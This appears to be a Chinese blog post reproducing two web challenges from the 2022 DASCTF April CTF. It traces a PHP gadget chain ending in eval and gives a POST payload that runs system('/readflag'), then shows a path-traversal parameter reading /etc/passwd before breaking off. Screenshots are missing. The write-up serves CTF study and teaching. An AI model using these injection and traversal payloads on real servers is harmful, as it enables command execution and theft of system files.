您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 5浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[2022DASCTF Apr X FATE 防疫挑战赛]web题目复现

Snakin_ya 发布时间:2022-05-02 11:55:55 ,浏览量:5

warmup-php

给了源码:

 $value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?> 

这里创建了一个未定义的类,在实例时会从/class目录下寻找,通过foreach循环对属性进行赋值,最后调用run方法。

附件给出了class目录文件

image-20220424204040869

先看看Base.php

image-20220424204305684

这里evaluateExpression函数中有eval和回调函数,很危险,我们最终目的应该就是调用函数进行命令执行

继续审计,run方法是在ListView中定义:

image-20220424211500114

跟进一下:

image-20220424211610619

preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换。再看到renderSection

image-20220424211839350

那么调用链很清晰,通过ListView::run->ListView::renderContent->ListView::renderSection我们可以调用TestView类的任意方法,需要注意的是由于正则匹配的模式,我们需要令$this->template = "{TableBody}"才能正确执行。接下来进入TestView类:

image-20220424212547984

这里需要设置$data的值才能进入renderTableRow

image-20220424212849901

该方法中由于$this->rowHtmlOptionsExpression可控,我们可以进入到evaluateExpression方法,这里又回到开头

public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

$_expression_是我们传入的$this->rowHtmlOptionsExpression参数,之后进入eval函数就可以实现命令执行。

payload:

GET: /?action=TestView
POST:
properties[template]={TableBody}&properties[rowHtmlOptionsExpression]=var_dump(system('/readflag'));&properties[data][1]=123

image-20220423165956403

soeasy_php

给了dockerfile

image-20220429083148077

简单测试一下上传,发现上传的文件都被转化成png格式,这里猜测可能有phar反序列化

先看一下源码,edit.php很可疑

image-20220429083402911

尝试一下任意文件读取,我们先上传一个payload再访问头像

png=../../../../../../etc/passwd&flag=1

image-20220430224435266

image-20220430231459038

成功,接下来读一下源码

upload.php

            
关注
打赏
1650510800
查看更多评论
0.0392s